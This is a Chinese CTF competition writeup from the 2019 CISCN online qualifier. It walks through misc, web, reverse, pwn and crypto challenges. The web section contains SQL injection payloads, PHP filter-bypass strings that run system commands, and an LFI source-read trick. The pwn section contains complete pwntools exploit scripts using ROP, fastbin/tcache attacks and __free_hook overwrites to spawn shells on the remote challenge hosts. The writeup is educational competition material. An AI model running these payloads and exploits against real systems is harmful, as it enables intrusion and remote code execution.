ROIS CISCN 全国大学生信息安全竞赛线上赛 Writeup

2019-04-23 约 5575 字 预计阅读 12 分钟

声明:本文 【ROIS CISCN 全国大学生信息安全竞赛线上赛 Writeup】 由作者 zsx 于 2019-04-23 09:59:00 首发 先知社区 曾经 浏览数 864 次

感谢 zsx 的辛苦付出!

ROIS CISCN线上初赛 Writeup

Misc

签到

根据题目提示,三个男生女装对着摄像头跳宅舞就行了。我们跳的是《ハレ晴レユカイ》。

saleae

使用saleae logic打开,有4个channel,使用SPI协议分析,直接提取出flag

24c

还是使用saleae logic打开,有2个channel,使用I2C协议分析,提取出flag

usbasp

4个channel,使用SPI协议分析,注意setting最后一条要修改,提取出一串ascii码,转码得到flag

Web

全宇宙最简单的SQL

盲注。

发现or||被过滤,采用^配合AND进行注入。发现SLEEPBENCHMARK被过滤,使用正则DoS方式进行时间盲注。又由于不知道列名,因此再套一层,Payload如下:

admin'^(select+(select b from (select 1 as a,2 as b from user where 1=2 union select * from user) b) like'f1ag%'+and+concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'))+RLIKE+'(a.*)%2b(a.*)%2b(a.*)%2b(a.*)%2bb')^'1'%3d'1#

后发现,还可以使用报错注入。如果报错,页面会提示“数据库操作错误”。基本Payload如下:

username='^(select exp(~((select (  (( select c.b from (select 1 as a,2 as b,3 as d from user union select * from user)c where a='admin' )) ))*18446744073709551615)))#&password=admin

很快注出密码是f1ag@1s-at_/fll1llag_h3r3,不过因为大小写不正确,要使用binary like。最终验证:

username='^(select exp(~((select( 2*length(( select c.b from (select 1 as a,2 as b from user union select * from user)c where a like binary 'admin' and b like binary 'F1AG@1s-at\_/fll1llag\_h3r3' ))=25))*18446744073709551615)))#&password=1

登录进去后就是老梗题,最近至少出现了三次,利用MySQL来手动读文件。https://github.com/allyshka/Rogue-MySql-Server/

直接打即可。

JustSoSo

(但是没交上)

love_math

那么多数学函数,实际上唯一能用的只有进制转换类,即base_convertdechex,通过其能导出[0-9a-z]在内的字符。

经过一大堆失败的实验,如:

// phpinfo();
(base_convert(55490343972,10,36))();
// system('cat /*');
$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42));
// system($_GET);
$pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi});

最后使用system(getallheaders(){9})

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

RefSpace

首先扫目录,扫出

  • /index.php
  • /robots.txt
  • /flag.txt
  • /backup.zip
  • /?route=app/index
  • /?route=app/Up10aD
  • /?route=app/flag

这个flag.txt看起来是加密过的,没啥用,先下载下来再说。从app/flag处,通过让参数为Array,可以得到报错信息,可以得到一个PHP文件/ctf/sdk.php

接着就是老梗LFI base64读源码,各种读。
http://e13d1dbeea094a64a4ad2b6677e8077947834b9a3b614242.changame.ichunqiu.com/?route=php://filter/read=convert.base64-encode/resource=app/index

读到/ctf/sdk.php,发现这是经过SourceGuardian加密的。作者给了个提示:

我们的SDK通过如下SHA1算法验证key是否正确:

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        return "too{young-too-simple}";
    }
    return false;
}

...

3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。

出题人三令五申不要去解密这个文件,那应该就不需要解密这个文件。不管怎么说,本地反射先。

php > $a = new ReflectionClass('\interesting\FlagSDK');
php > var_dump($a->getMethods());
php shell code:1:
array(2) {
  [0] =>
  class ReflectionMethod#2 (2) {
    public $name =>
    string(7) "getHash"
    public $class =>
    string(19) "interesting\FlagSDK"
  }
  [1] =>
  class ReflectionMethod#3 (2) {
    public $name =>
    string(6) "verify"
    public $class =>
    string(19) "interesting\FlagSDK"
  }
}
php > var_dump($a->getProperties());
php shell code:1:
array(1) {
  [0] =>
  class ReflectionProperty#2 (2) {
    public $name =>
    string(8) "flagPath"
    public $class =>
    string(19) "interesting\FlagSDK"
  }
}
php > $d = $a->getProperty('flagPath');
php > echo $d->getValue($b);
/var/www/html/flag.txt

可以看出这个类就两个函数,getHashverify,还有一个flagPath的属性,值是那个flag.txt。但不知道这个getHash的返回值究竟是啥,反射调用先

php > $b = new \interesting\FlagSDK();
php > $cc = $a->getMethod('getHash');
php > $cc->setAccessible(true);
php > echo $cc->invoke($b);
a356bc8d9d3e69beea3c15d40995f395425e7813

似乎是个固定值,服务器上通过phar传Shell也证明了这一点。But nobody cares,实践才是最重要的。让我们来手撕加密吧。(出题人内心OS:??????我不是都说别搞我加密了吗)

先去clone PHP源码,编译一下,再去SourceGuardian官网下载和我本地对应版本的PHP扩展,然后根据他的代码来模仿写一个:

接着让我们来魔改PHP内核,在zend_vm_init_call_frame处打log来得到函数调用信息:

然后执行代码,从这个函数调用,就可以看出getHash真的只是return 'a356bc8d9d3e69beea3c15d40995f395425e7813'而已,并没有别的用途。

我们现在知道,flag其实就藏在verify函数里了。我本来想给所有和比较有关的函数都打上标记,但根据题目提示,题目只用到了===。因此修改zend_is_identical的返回值,直接让他return 1.

然后把题目给的flag.txt丢到/var/www/html/flag.txt,就跑出来了。

另外,这个被加密的代码逻辑是

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        $a = base64_decode(file_get_contents($this->flagPath));
        return openssl_private_decrypt($a, "RSA_KEY");
    }
    return false;
}

很容易也就能把他的RSA密钥解出来,这个就没啥好说的了。专业SG11解密,比市场价便宜.jpg

(各位师傅别来日我写的加密啊.jpg)

Re

easyGo

下载了个golanghelper帮助IDA发现程序
动态跟踪后发现flag就在内存中

pwndbg> telescope 0xc0000181e0
00:0000│ rsi r12  0xc0000181e0 ◂— 0x3032397b67616c66 ('flag{920')
01:0008│          0xc0000181e8 ◂— 0x33332d6661643439 ('94daf-33')
02:0010│          0xc0000181f0 ◂— 0x2d653133342d3963 ('c9-431e-')
03:0018│          0xc0000181f8 ◂— 0x6662382d61353861 ('a85a-8bf')
04:0020│          0xc000018200 ◂— 'bd5df98ad}'
05:0028│          0xc000018208 ◂— 0x7d64 /* 'd}' */
06:0030│          0xc000018210 ◂— 0x0

bbvvmm

程序验证username和passwd
username用了sm4加密又base64,sm4密钥给了,逆着来就行了
passwd验证的代码太长,动态开调,后来发现就写在内存中

#https://github.com/yang3yen/pysm4
from pysm4 import decrypt
import base64
#a = "IJLMNOPKABDEFGHCQRTUVWXSYZbcdefa45789+/6ghjklmnioprstuvqwxz0123y"
#b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
#crypto_text = "RVYtG85NQ9OPHU4uQ8AuFM+MHVVrFMJMR8FuF8WJQ8Y="
#table = ''.maketrans(a, b)
#print(base64.b64decode(crypto_text.translate(table)))
m = 0xEF468DBAF985B2509C9E200CF3525AB6
key = 0xda98f1da312ab753a5703a0bfd290dd6
temp = hex(decrypt(m,key))[2:-1]
a = ""
for i in range(len(temp)/2):
    a += chr(int(temp[2*i:2*i+2],16))
temp = a
a = ""
for i in range(len(temp)/2):
    a += chr(int(temp[2*i:2*i+2],16))
print "name is " + a

username = "badrer12"
密码出现在内存中

00000000022D14F0  C0 25 2D 02 00 00 00 78  72 00 00 00 00 00 00 0A  ..-....xr.......
00000000022D1500  C0 25 2D 02 00 00 00 79  71 00 00 00 00 00 00 08  ..-....yq.......
00000000022D1510  C0 25 2D 02 00 00 00 7A  77 00 00 00 00 00 00 0D  ..-....zw.......
00000000022D1520  C0 25 2D 02 00 00 00 7B  65 00 00 00 00 00 00 1E  ..-....{e.......
00000000022D1530  C0 25 2D 02 00 00 00 7C  72 00 00 00 00 00 00 0E  ..-....|r.......
00000000022D1540  C0 25 2D 02 00 00 00 7D  71 00 00 00 00 00 00 0C  ..-....}q.......
00000000022D1550  1A 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

passwd="xyz{|}"

from pwn import *
p = remote("39.97.228.196","10001")
p.recvuntil("Username:")
p.sendline("badrer12")
p.recvuntil("Password:")
p.send("xyz{|}")
p.interactive()

Pwn

your_pwn

数组下标越界造成任意读和写(代码有点丑

from pwn import *
p = process("./pwn")
elf = ELF("./pwn")
# p = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com","57856")
def main():
    gdb.attach(p)
    p.recvuntil("input your name \nname:")
    p.send("\x00")
    start_offset = 349
    program_base = 0
    #leak program_base
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset-i))
        p.recvuntil("now value(hex) ")
        temp = int(p.recvuntil("\n",drop=True)[-2:],16)
        print temp
        program_base = (program_base << 8) + temp
        print program_base
        p.recvuntil("input new value")
        p.sendline(str(temp))
    program_base -= 0xb11
    success("program_base : " + hex(program_base))

    #0x0000000000000d03 : pop rdi ; ret
    #puts(got[puts]) and return main
    start_offset = 344+0x8
    pop_rdi = program_base + 0xd03
    puts_addr = elf.symbols["puts"] + program_base
    puts_got = elf.got["puts"] + program_base
    main_addr = program_base + 0xa65
    for i in range(2):
        p.recvuntil("input index")
        p.sendline(str(344+i))
        p.recvuntil("input new value")
        p.sendline(str((pop_rdi&(0xff<<i*8))>>i*8))

    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((puts_got&(0xff<<i*8))>>i*8))
    start_offset += 0x8
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((puts_addr&(0xff<<i*8))>>i*8))
    start_offset += 0x8
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((main_addr&(0xff<<i*8))>>i*8))
    for i in range(15):
        p.recvuntil("input index")
        p.sendline("1")
        p.recvuntil("input new value")
        p.sendline("1")

    #write ret value to one_gadget
    p.recvuntil("do you want continue(yes/no)? ")
    p.sendline("yes")
    p.recvuntil("\n")
    puts_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))
    success("puts : " + hex(puts_addr))
    p.recvuntil("input your name \nname:")
    p.send("\x00")
    libc_base = puts_addr - 0x6f690
    one_gadget = libc_base + 0x45216
    start_offset = 344
    for i in range(6):
        p.recvuntil("input index")
        p.sendline(str(start_offset+i))
        p.recvuntil("now value(hex) ")
        p.recvuntil("input new value")
        p.sendline(str((one_gadget&(0xff<<i*8))>>i*8))
    for i in range(35):
        p.recvuntil("input index")
        p.sendline("1")
        p.recvuntil("input new value")
        p.sendline("1")
    p.recvuntil("do you want continue(yes/no)? ")
    p.sendline("no")
    p.interactive()
if __name__ == "__main__":
    main()

daily

free的时候没有检查index是否合法

from pwn import *

def show():
    p.sendafter(':', '1')

def add(size, cont):
    p.sendafter(':', '2')
    p.sendafter('daily:', str(size))
    p.sendafter('\n', cont)

def edit(idx, cont):
    p.sendafter(':', '3')
    p.sendafter(':', str(idx))
    p.sendafter('\n', cont)

def free(idx):
    p.sendafter(':', '4')
    p.sendafter(':', str(idx))

def leak():
    add(0x100, '0')
    add(0x100, '1')
    add(0x100, '2')
    add(0x100, '3')
    add(0x100, '4')
    free(3)
    free(1)
    free(4)
    free(2)
    free(0)
    add(0x100, '0'*8)
    add(0x210, '1'*8)
    add(0x100, '2'*8)
    show()
    p.recvuntil('1'*8)
    libc_base = u64(p.recvuntil('2 : '+'2'*8, drop=True).ljust(8, '\x00')) - 0x3c4b78
    heap = u64(p.recvuntil('=', drop=True).ljust(8, '\x00')) - 0x110
    free(0)
    free(1)
    free(2)
    return heap, libc_base

def exploit(host, port=58512):
    global p
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':'./libc.so.6'})
    gdb.attach(p, 'source ./gdb.script\n')
    heap, libc.address = leak()
    info('heap @ '+hex(heap))
    info('libc @ '+hex(libc.address))
    add(0x60, p64(0) + p64(heap+0x10))
    add(0x60, '/bin/sh\x00') #1
    add(0x7f, '2')
    free((heap+0x10-0x602060)/0x10)
    edit(0, p64(0x602078))
    add(0x60, '3') #0 
    add(0x60, p64(libc.sym['__free_hook'])) # point to address of #2 : 0x602088
    edit(2, p64(libc.sym['system']))
    free(1)
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')
    exploit(args['REMOTE'])

baby_pwn

通过爆破修改alarm@got最低位指向sysenter从而判断远程libc版本,再利用read()使得eax=sys_write即可泄露

from pwn import *
context.update(os='linux', arch='i386')

def exploit(host, port=33865):
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':'./libc6-i386_2.23-0ubuntu11_amd64.so'})
        gdb.attach(p, 'source ./gdb.script')
    ropchain = [
        elf.plt['read'], p_esi_edi_ebp_r,
        0, elf.got['alarm'], 1,

        elf.plt['read'], p_esi_edi_ebp_r,
        0, 0x0804A000, 0x100,
        p_ebx_r, 1,
        elf.plt['alarm'],

        elf.plt['read'], p_esi_edi_ebp_r,
        0, elf.got['setvbuf'], 0x10,

        elf.plt['setvbuf'], 0,
        elf.got['setvbuf']+4,
    ]
    p.send(('A'*40 + 'B'*4 + flat(ropchain)).ljust(0x100, '\x00'))
    p.send('\x2b')
    p.send('\x00'*4)
    p.recv(0xc)
    libc.address = u32(p.recv(4)) - libc.sym['read']
    info('libc.address @ '+hex(libc.address))
    p.send(p32(libc.sym['system']) + '/bin/sh\x00')
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./pwn')
    libc = ELF('./libc6-i386_2.23-0ubuntu11_amd64.so')
    p_ebx_esi_edi_ebp_r = 0x080485d8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    p_esi_edi_ebp_r = 0x080485d9 # pop esi ; pop edi ; pop ebp ; ret
    p_ebx_r = 0x0804837d # pop ebx ; ret
    exploit(args['REMOTE'])

Double

数据为单向链表结构,在add()时通过添加两次相同数据,可以触发fastbin attack,将堆块分配至bss段,从而修改链表头指针,达到任意读写

from pwn import *

def add(data):
    p.sendlineafter('> ', '1')
    if len(data)<256:
        data += '\n'
    p.sendafter('data:\n', data)

def show(idx):
    p.sendlineafter('> ', '2')
    p.sendlineafter('index: ', str(idx))

def edit(idx, data):
    p.sendlineafter('> ', '3')
    p.sendlineafter('index: ', str(idx))
    if len(data)<256:
        data += '\n'
    p.send(data)

def free(idx):
    p.sendlineafter('> ', '4')
    p.sendlineafter('index: ', str(idx))

def exploit(host, port=40002):
    global p
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':'./libc.so.6'})
        gdb.attach(p, 'source ./gdb.script')
    add('A'*0x60) #0
    add('A'*0x60) #1
    free(1)
    edit(0, p64(0x4040b0-3))
    add('1'*0x60) #1
    add('\x00'*0x60) #0
    edit(0, '\x77'*3 + p64(elf.got['free']) + p64(0) + p64(0x4040b8) + p64(0x4040b8) + '/bin/sh\x00')
    show(0)
    libc.address = u64(p.recvuntil('\n', drop=True).ljust(8, '\x00')) - libc.sym['free']
    info('libc.address @ '+hex(libc.address))
    edit(0, p64(libc.sym['system']))
    add('/bin/sh')
    free(1)
    p.interactive()

if __name__ == '__main__':
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')
    exploit(args['REMOTE'])

bms

通过double free来检测远程libc版本>=2.26,pwnable.tw的heap_paradise原题,但是libc版本不同,利用思路相同,修改_IO_2_1_stdout_的头部造成泄露,再通过tcache attack来达到任意写

from pwn import *

def auth(p):
    p.sendlineafter('name:', 'admin')
    p.sendlineafter('word:', 'frame')

def __add__(p, name, size, desc):
    p.sendlineafter('>', '1')
    p.sendafter(':', name)
    p.sendafter(':', str(size))
    p.sendafter('description:', desc)

def __free__(p, idx):
    p.sendlineafter('>', '2')
    p.sendafter(':', str(idx))

def exploit(host, port=40001):
    if host:
        p = remote(host, port)
    else:
        p = process('./pwn', env={'LD_PRELOAD':libc_name})
        gdb.attach(p, 'source ./gdb.script')
    auth(p)
    add = lambda x,y,z: __add__(p, x, y, z)
    free = lambda x: __free__(p, x)
    add('0', 0x60, 'desc') #0
    free(0)
    free(0)
    add('1', 0x60, p64(0x602020)) #1
    add('2', 0x60, 'desc') #2
    add('3', 0x60, '\x20')
    add('4', 0x60, p64(0xfbad1800) + p64(0)*3 + '\x00')
    p.recv(24)
    libc.address = u64(p.recv(8)) - 0x3d73e0 # - 0x74d0
    info('libc.address @ '+hex(libc.address))
    add('5', 0x90, 'desc')
    free(5)
    free(5)
    add('6', 0x90, p64(libc.sym['__free_hook']))
    add('7', 0x90, '/bin/sh\x00')
    add('8', 0x90, p64(libc.sym['system']))
    free(7)
    p.interactive()

if __name__ == '__main__':
    # libc_name = './libc.so.6'
    libc_name = './libc6_2.26-0ubuntu2_amd64.so'
    libc = ELF(libc_name)
    exploit(args['REMOTE'])

Crypto

puzzles

from z3 import *
a1 = Real("a1")
a2 = Real("a2")
a3 = Real("a3")
a4 = Real("a4")
s = Solver()

s.add(13627*a1+26183*a2+35897*a3+48119*a4 == 347561292)
s.add(23027*a1+38459*a2+40351*a3+19961*a4 == 361760202)
s.add(36013*a1+45589*a2+17029*a3+27823*a4 == 397301762)
s.add(43189*a1+12269*a2+21587*a3+33721*a4 == 350830412)
print s.check()
m = s.model()
print(m)

part1
http://smallprimenumber.blogspot.com/2008/12/prime-number-from-26000000-to-26500000.html

part2高数在线微积分网站
part3&&part4
大物和三重积分


flag{01924dd7-1e14-48d0-9d80-fa6bed9c7a00}

part_des

题目给出了全部的round key 和 某一轮加密的结果
github 搜一个des的代码 把round key 赋入. 并且遍历某round 把加密结果替换

# -*- coding: utf-8 -*-
# S盒 的置换矩阵
S_MATRIX = [(14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
      0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
      4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
      15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13),
     (15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
      3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
      0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
      13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9),
     (10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
      13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
      13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
      1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12),
     (7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
      13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
      10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
      3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14),
     (2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
      14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
      4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
      11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3),
     (12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
      10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
      9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
      4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13),
     (4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
      13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
      1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
      6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12),
     (13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
      1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
      7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
      2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11)]
# P置换的置换矩阵
P_MATRIX = [16, 7, 20, 21, 29, 12, 28, 17, 1, 15, 23, 26, 5, 18, 31, 10,
              2, 8, 24, 14, 32, 27, 3, 9, 19, 13, 30, 6, 22, 11, 4, 25]
# IP置换的 置换矩阵
IP_MATRIX = [58, 50, 42, 34, 26, 18, 10, 2,
           60, 52, 44, 36, 28, 20, 12, 4,
           62, 54, 46, 38, 30, 22, 14, 6,
           64, 56, 48, 40, 32, 24, 16, 8,
           57, 49, 41, 33, 25, 17, 9, 1,
           59, 51, 43, 35, 27, 19, 11, 3,
           61, 53, 45, 37, 29, 21, 13, 5,
           63, 55, 47, 39, 31, 23, 15, 7]

# 压缩置换矩阵  从56位里选48位
COMPRESS_MATRIXS = [14, 17, 11, 24, 1, 5,
              3, 28, 15, 6, 21, 10,
              23, 19, 12, 4, 26, 8,
              16, 7, 27, 20, 13, 2,
              41, 52, 31, 37, 47, 55,
              30, 40, 51, 45, 33, 48,
              44, 49, 39, 56, 34, 53,
              46, 42, 50, 36, 29, 32]
# E扩展置换矩阵

E_MATRIX = [32, 1, 2, 3, 4, 5,
         4, 5, 6, 7, 8, 9,
         8, 9, 10, 11, 12, 13,
         12, 13, 14, 15, 16, 17,
         16, 17, 18, 19, 20, 21,
         20, 21, 22, 23, 24, 25,
         24, 25, 26, 27, 28, 29,
         28, 29, 30, 31, 32, 1]
# IP逆置换矩阵
IP_INVERSE_MATRIX = [40, 8, 48, 16, 56, 24, 64, 32, 39, 7, 47, 15, 55, 23, 63, 31,
        38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29,
        36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27,
        34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25]



# IP置换
def IP(Mingwen):
    #如果长度不是64 就退出
    assert len(Mingwen) == 64

    ret = ""
    #通过循环 进行IP置换
    for i in IP_MATRIX:
        ret = ret + Mingwen[i - 1]
    return ret


# 循环左移位数
def shift(str, shift_count):
    try:
        if len(str) > 28:
            raise NameError
    except TypeError:
        pass

    str = str[shift_count:] + str[0:shift_count]
    return str

#由密钥 得到子密钥

def createSubkey(key):
    # 如果key长度不是64 就退出
    assert len(key) == 64

    #DES的密钥由64位减至56位,每个字节的第8位作为奇偶校验位
    #把56位 变成 2个28位

    Llist = [57, 49, 41, 33, 25, 17, 9,
             1, 58, 50, 42, 34, 26, 18,
             10, 2, 59, 51, 43, 35, 27,
             19, 11, 3, 60, 52, 44, 36]
    Rlist = [63, 55, 47, 39, 31, 23, 15,
             7, 62, 54, 46, 38, 30, 22,
             14, 6, 61, 53, 45, 37, 29,
             21, 13, 5, 28, 20, 12, 4]

    # 初试生成 左右两组28位密钥
    L0 = ""
    R0 = ""

    for i in Llist:
        L0 += key[i - 1]
    for i in Rlist:
        R0 += key[i - 1]

    assert len(L0) == 28
    assert len(R0) == 28

    #轮函数生成 48位密钥

    #定义轮数
    Movetimes = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
    #定义返回的subKey
    retkey = []
    #开始轮置换
    for i in range(0, 16):
        #获取左半边 和 右半边  shift函数用来左移生成轮数
        L0 = shift(L0, Movetimes[i])
        R0 = shift(R0, Movetimes[i])
        #合并左右部分
        mergedKey = L0 + R0

        tempkey = ""
        # 压缩置换矩阵  从56位里选48位
        #选出48位子密钥
        for i in COMPRESS_MATRIXS:
            tempkey += mergedKey[i - 1]
        assert len(tempkey) == 48
        #加入生成子密钥
        retkey.append(tempkey)

    return retkey

# E扩展置换  把右边32位扩展为48位
def E_expend(Rn):

    retRn = ""
    for i in E_MATRIX:
        retRn += Rn[i - 1]
    assert len(retRn) == 48
    return retRn



# S盒替代运算
def S_sub(S_Input):
    #从第二位开始的子串  去掉0X
    S_Input = bin(S_Input)[2:]

    while len(S_Input) < 48:
        S_Input = "0" + S_Input

    index = 0
    retstr = ""

    for Slist in S_MATRIX:
        # 输入的高低两位做为行数row
        row = int(S_Input[index] + S_Input[index + 5], base=2)
        # 中间四位做为列数L
        col = int(S_Input[index + 1:index + 5], base=2)
        # 得到 result的 单个四位输出
        ret_single = bin(Slist[row * 16 + col])[2:]

        while len(ret_single) < 4:
            ret_single = "0" + ret_single

        # 合并单个输出
        retstr += ret_single
        # index + 6 进入下一个六位输入
        index += 6

    assert len(retstr) == 32

    return retstr


def P(Ln, S_sub_str, oldRn):
    # P 盒置换
    tmp = ""
    for i in P_MATRIX:
        tmp += S_sub_str[i - 1]
    # P盒置换的结果与最初的64位分组左半部分L0异或
    LnNew = int(tmp, base=2) ^ int(Ln, base=2)
    LnNew = bin(LnNew)[2:]
    while len(LnNew) < 32:
        LnNew = "0" + LnNew
    assert len(LnNew) == 32
    # 左、右半部分交换,接着开始另一轮
    (Ln, Rn) = (oldRn, LnNew)

    return (Ln, Rn)

def IP_inverse(L16, R16):
    tmp = L16 + R16
    retstr = ""
    for i in IP_INVERSE_MATRIX:
        retstr += tmp[i - 1]
    assert len(retstr) == 64
    return retstr


# DES 算法实现 flag是标志位 当为-1时, 是DES解密, flag默认为0
def DES (text, key, flag = "0", ii = -1):
    # 初始字段
    # IP置换
    InitKeyCode = IP(text)
    # 产生子密钥 集合
    subkeylist = createSubkey(key)
    subkeylist = ["111000001011111001100110000100000011001011010101", "111100001011011001110110111110000010000010010101", "111001001101011001110110001000110110001010001111", "111001101101001101110110001101100011000110000011", "101011101101001101110011101001100000000101100111", "101011110101001101111011010001101010101111000010", "101011110101001111011001011101001000010101011001", "000111110101101111011001010010111001010001001010", "001111110100100111011001010010001001011111101010", "000111110110100110011101000111001101110000101001", "000111110010110110011101010010100101110001110000", "010111110010110010101101100010011110100100111000", "110110111010110010101100101000010101111000010000", "110110001010111010101110110110010000001000110110", "111100001011111000101110100101010100101010001100", "111100001011111010100110000100010010111010000100", ]

    # 获得Ln 和 Rn
    Ln = InitKeyCode[0:32]
    Rn = InitKeyCode[32:]

    if (flag == "-1") :
        subkeylist = subkeylist[::-1]

    i = 0
    for subkey in subkeylist:
        while len(Rn) < 32:
            Rn = "0" + Rn
        while len(Ln) < 32:
            Ln = "0" + Ln

        # 对右边进行E-扩展
        Rn_expand = E_expend(Rn)
        # 压缩后的密钥与扩展分组异或以后得到48位的数据,将这个数据送入S盒
        S_Input = int(Rn_expand, base=2) ^ int(subkey, base=2)

        # 进行S盒替代
        S_sub_str = S_sub(S_Input)

        #P盒置换  并且
        #  左、右半部分交换,接着开始另一轮
        (Ln, Rn) = P(Ln, S_sub_str, Rn)
        if(i == ii):
            #Rn, Ln = '10010010110110010001010100100101', '00000001000110011110000100101011'
            Ln, Rn = '10010010110110010001010100100101', '00000001000110011110000100101011'
        i = i + 1
        #进行下一轮轮置换

    # 最后一轮之后  左、右两半部分并未进行交换
    # 而是两部分合并形成一个分组做为末置换的输入。
    # 所以要重新置换 一次

    (Ln, Rn) = (Rn, Ln)
    # 末置换得到密文
    re_text = IP_inverse(Ln, Rn)

    return re_text

if __name__ == "__main__":
    for i in range(16):
        key = "0001001000110100010101100111100010110001001000110100010101100111"
        Mingwen = "1001001011011001000101010010010100000001000110011110000100101011"
        ciphertext = DES(Mingwen, key, ii= i)
        Mingwen = "1001001011011001000101010010010100000001000110011110000100101011"

        #打印加密后的密文
        print( hex(int(ciphertext, base=2)))

        falseKey = "1001001011011001000101010010010100000001000110011110000100101011"

        decode_ciphertext = DES(ciphertext, key, "-1")
        #打印解密后的明文  看是否相同
        print(hex(int(decode_ciphertext, base=2)).upper())

把输出转化为字符. 发现 79307572394F6F64 可转为 y0ur9Ood

Asymmetric

爆破 p, r

from math import log2
target= 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721
r = 4
left = 1
